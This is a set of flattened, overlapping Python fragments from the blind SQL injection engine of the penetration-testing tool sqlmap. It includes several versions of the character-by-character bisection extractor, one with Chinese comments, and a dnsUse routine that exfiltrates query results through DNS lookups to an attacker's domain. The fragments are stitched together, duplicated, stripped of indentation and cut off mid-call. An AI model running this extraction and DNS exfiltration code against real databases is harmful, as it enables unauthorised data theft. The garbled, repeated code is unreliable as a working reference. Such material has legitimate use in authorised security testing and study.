= True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in ( getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode ) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms( ) raise SqlmapUnsupportedFeatureException(errMsg) candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat( payload.replace( INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: val = getChar( currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[ i] is None else filterControlChars( currentValue[i] if len( currentValue[i]) == 1 else ' ', replacement=' ') for i in xrange(length): count += 1 if currentValue[ i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and ( endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not any( (showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * ( min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % ( _, length, int(100.0 * _ / length)) output += status if _ != length else " " * len( status) dataToStdout( "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and infoMsg and not any( (showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len( partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan( partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape( "'%s'" % commonValue ) if "'" not in commonValue else unescaper.escape( "%s" % commonValue, quote=False) query = getTechniqueData().vector query = agent.prefixQuery( query.replace( INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: if showEta: progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout( filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms( )].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape( "'%s'" % commonPattern ) if "'" not in commonPattern else unescaper.escape( "%s" % commonPattern, quote=False) query = getTechniqueData().vector query = agent.prefixQuery( query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(index) elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if Backend.getIdentifiedDbms() in ( DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE ) and len( partialValue) > INFERENCE_BLANK_BREAK and partialValue[ -INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): finalValue = partialValue[:-1] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip( ) if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeDbmsHexValue( finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite( expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime( "%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not any( (showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException( "something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter( getTechnique()), safecharencode(_) if kb.safeCharEncode else _
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder意味着每两个相邻的数值之间的距离正好是1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # 用于逐渐扩展到unicode字符空间 shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False while len(charTbl) != 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # 在多线程环境中不可用 if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # 如果当前值倾斜到0,则最好使用最后一个字符检查 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = u"检测到意外的HTTP代码 '%s',在类似情况下使用(额外)验证步骤。" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - 用于内存/空间优化的扩展虚拟字符集 charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # 超越原来的字符集 elif minValue == maxChar: # 如果原来的charTbl是[0,..,127] # 新的一个将是[128,..,(128 << 4) - 1]或128到2047 # 而不是使用所有元素制作一个巨大的列表, # 我们使用一个xrange,它是一个虚拟列表 if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 # 推断重新验证字符的最大次数(根据需要) # MAX_REVALIDATION_STEPS = 5 if retried < MAX_REVALIDATION_STEPS: errMsg = u"检测到无效字符,重试.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = u"时间延迟增加到%d秒%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = u"关闭时间自动调整机制" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = u"无法正确验证最后一个字符值('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = u"时间自动调整机制" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # 如果我们正在使用非连续元素,那么minValue和character之后都是可能的候选者 for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None
def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsName: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif hasattr(conf, "api"): kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False while len(charTbl) != 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if retried < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # If we are working with non-continuous elements, both minValue and character after # are possible candidates for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, 